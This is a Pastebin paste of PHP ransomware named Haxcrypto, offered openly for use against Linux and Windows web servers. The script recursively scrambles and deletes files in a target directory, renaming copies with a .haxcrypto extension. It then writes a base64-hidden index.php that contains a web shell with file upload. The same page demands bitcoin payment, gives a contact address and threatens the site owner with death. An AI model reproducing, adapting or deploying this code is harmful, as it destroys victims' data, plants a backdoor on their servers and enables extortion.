Advertisement
regardscode

ransom PHP LINUX SERVER/WINDOWS

Mar 28th, 2017
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.41 KB | None | 0 0
  1. <?php
  2. ini_set('memory_limit', '9999999999M');
  3. Class Haxcrypto{
  4. public $dir = '/dirtarget';
  5. public $action = 'descrypt'; // enscrypt or descrypt
  6. public $key = '!@#$%^&*()';
  7.  
  8.     protected function keys()
  9.     {
  10.         $keys = $this->key;
  11.         return $keys;
  12.     }
  13.     public function action($a,$b)
  14.     {
  15.         if($this->action == "enscrypt")
  16.         {
  17.             return $this->enscrypt($a,$b);
  18.         }
  19.         elseif($this->action == "descrypt")
  20.         {
  21.             return $this->descrypt($a,$b);
  22.         }
  23.         else
  24.         {
  25.             die('make sure action enscrypt or descrypt');
  26.         }
  27.     }
  28.  
  29.     public function enscrypt($file,$key)
  30.     {
  31.         if($key == null) die('please input key');
  32.         $into = pathinfo($file);
  33.         if(isset($into['extension']))
  34.         {
  35.             if($into['extension'] !== "jpg" && $into['extension'] !== "gif" && $into['extension'] !== "png" && $into['extension'] !== "csv" && $into['extension'] !== "haxcrypto" && !preg_match("/Haxcrypto/",$file) && $into['extension'] !== "tgz" && $into['extension'] !== "zip" && $into['extension'] !== "rar" && $into['extension'] !== "log" && $into['extension'] !== "sql")
  36.             {
  37.                 $enscrypt = array();
  38.                 $getcontents = file_get_contents("$file");
  39.                 $splitisi = str_split($getcontents);
  40.                 $x = 1;
  41.                 for($i = 0; $i<count($splitisi); $i++)
  42.                 {
  43.                     $enscrypt[] = chr(ord($splitisi[$i]) + $x++);
  44.                 }
  45.                 $encode = base64_encode(base64_encode(implode("",$enscrypt).md5($key)));
  46.                 $info = pathinfo($file);
  47.                 $fp = fopen($file.".haxcrypto", 'a+');
  48.                 fwrite($fp, $encode);
  49.                 fclose($fp);
  50.                 @unlink($file);
  51.                 if(file_exists($file.".haxcrypto"))
  52.                 {
  53.                     echo "enscrypt : $file , Path : ".$file.".haxcrypto"." << SUCCESS\n";
  54.                 }
  55.             }
  56.         }
  57.     }
  58.     public function descrypt($file,$keys)
  59.     {
  60.         $into = pathinfo($file);
  61.         if($keys == null) die('please input key');
  62.         if(isset($into['extension']))
  63.         {
  64.             if($into['extension'] == "haxcrypto" && !preg_match("/Haxcrypto/",$file))
  65.             {
  66.                 $key = md5($keys);
  67.                 $descrypt = array();
  68.                 $getcontents = file_get_contents($file);
  69.                 $base64 = base64_decode(base64_decode($getcontents));
  70.                 $pisah = str_replace($key, "", $base64);
  71.                 if($base64 == $pisah)
  72.                 {
  73.                     die("Key Tidak Valid");
  74.                 }
  75.                 $splitisi = str_split($pisah);
  76.                 $x = 1;
  77.                 for($i = 0; $i<count($splitisi); $i++)
  78.                 {
  79.                     $descrypt[] =  chr(ord($splitisi[$i]) - $x++);
  80.                 }
  81.                 $encode = implode("",$descrypt);
  82.                 $realname = str_replace(".haxcrypto","",$file);
  83.                 $fp = fopen($realname, 'a+');
  84.                 fwrite($fp, $encode);
  85.                 fclose($fp);
  86.                 @unlink($file);
  87.                 if(file_exists($realname))
  88.                 {
  89.                     echo "descrypt : $file Path : ".$realname."<< SUCCESS\n";
  90.                 }
  91.             }
  92.         }
  93.     }
  94.     public function CreateIndex()
  95.     {
  96.         $script = "PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPD9waHANCmlmKGlzc2V0KCRfR0VUWyJoYXgiXSkpDQp7DQoJZWNobyBiYXNlNjRfZGVjb2RlKCJVR0ZySUVoaGVHOXkiKTsNCgllY2hvICI8YnI+Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQoJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgk8aW5wdXQgdHlwZT0nZmlsZScgbmFtZT0naWR4Jz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSd1cGxvYWQnIHZhbHVlPSd1cGxvYWQnPg0KCTwvZm9ybT4iOw0KCWlmKGlzc2V0KCRfUE9TVFsndXBsb2FkJ10pKSB7DQoJCWlmKEBjb3B5KCRfRklMRVNbJ2lkeCddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydpZHgnXVsnbmFtZSddKSkgew0KCQllY2hvICJzdWtzZXMiOw0KCQl9IGVsc2Ugew0KCQllY2hvICJnYWdhbCI7DQoJCX0NCgl9DQp9DQo/Pg0KCTx0aXRsZT5IYXhjcnlwdG8gQnkgUGFraGF4b3I8L3RpdGxlPg0KCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoJYm9keXsNCgkJY29sb3I6ICMzRUY0MDM7DQoJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KCX0NCglpbnB1dCB7DQogICAgYm9yZGVyOiBkYXNoZWQgMXB4Ow0KICAgIGJvcmRlci1jb2xvcjogIzMzMzsNCiAgICBCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCiAgICBmb250OiA4cHQgVmVyZGFuYTsNCiAgICBjb2xvcjogIzBDRkYzNzsNCgl9DQoJPC9zdHlsZT4NCjwvaGVhZD4NCjxtZXRhIGNoYXJzZXQ9IklTTy04ODU5LTEiPiANCjxib2R5Pg0KPHByZSBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+DQo8Zm9udCBzaXplPSIxMyIgY29sb3I9IndoaXRlIj5IQVhDUllQVE8oWU9VUiBXRUJTSVRFIEhBUyBCRUVEIExPQ0tFRCk8L2ZvbnQ+DQo8Zm9udCBjb2xvcj0icmVkIj4NCjxpbWcgc3JjPSJodHRwOi8vY2RuLm15c2l0ZW15d2F5LmNvbS9ldGMtbXlzaXRlbXl3YXkvaWNvbnMvbGVnYWN5LXByZXZpZXdzL2ljb25zL2dsb3dpbmctZ3JlZW4tbmVvbi1pY29ucy1idXNpbmVzcy8xMTExODItZ2xvd2luZy1ncmVlbi1uZW9uLWljb24tYnVzaW5lc3MtbG9jazYtc2M0OC5wbmciPg0KWW91ciBXZWJzaXRlIEhhcyBiZWVuIExvY2tlZCANClBsZWFzZSBnaXZlIG1lIEJUQzwvZm9udD4NCjxmb250IGNvbG9yPSJ3aGl0ZSI+TXkgQWRkcmVzcyBCVEMgOiAxRkJzVVMyQUthZlpVS0JDNm5YU0oySHNTTFhNS2gxaWFUKDIwMCQpIDpEIA0KSWYgeW91IGRvbid0IGtub3cgYWJvdXQgQlRDIGdvaW5nIHRvIHRoaXMgdXJsIDogaHR0cHM6Ly9ibG9nLmJsb2NrY2hhaW4uY29tL2NhdGVnb3J5L3R1dG9yaWFscy1hbmQtZ3VpZGVzLzwvZm9udD4gIA0KPGJyPg0KPGZvbnQgY29sb3I9InJlZCI+Li1bIENvbnRhY3QgTWUgYXJkaWFuc3lhaDA5OTk2QGdtYWlsLmNvbSAoPC9mb250Pjxmb250IGNvbG9yPSJ3aGl0ZSI+UGFrIEhheG9yPC9mb250Pjxmb250IGNvbG9yPSJyZWQiPikgXS0uPC9mb250Pg0KPGZvbnQgY29sb3I9IndoaXRlIj4uLVsgZG8gbm90IGRlbGV0ZSB0aGlzIGZpbGUgb3Igd2Vic2l0ZSB5b3Ugd2lsbCBiZSBraWxsZWQgOikpIF0tLjwvZm9udD4NCjwvZm9udD4NCjwvcHJlPg==";
  97.         $fp = fopen($this->dir."/index.php", 'a+');
  98.                                
  99.                                     fwrite($fp, base64_decode($script));
  100.                                     fclose($fp);
  101.                                     echo "SUCCESS";
  102.     }
  103.     public function directori($shcdirs,$key=null)
  104.     {
  105.         foreach(@scandir($shcdirs) as $shc)
  106.                 {
  107.                     if($shc!='.' && $shc!='..')
  108.                     {
  109.                         $shc = $shcdirs.DIRECTORY_SEPARATOR.$shc;
  110.                         if( !is_dir($shc) ){
  111.                             $this->action($shc,$this->keys());
  112.                         }else{
  113.                             $this->directori($shc);
  114.                         }
  115.                     }
  116.                 }
  117.     }
  118. }
  119.         $haxcrypto = new Haxcrypto();
  120.         $haxcrypto->directori($haxcrypto->dir);
  121.         $haxcrypto->CreateIndex();
  122.         /*@unlink('Haxcrypto.php');*/
  123.  
  124. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement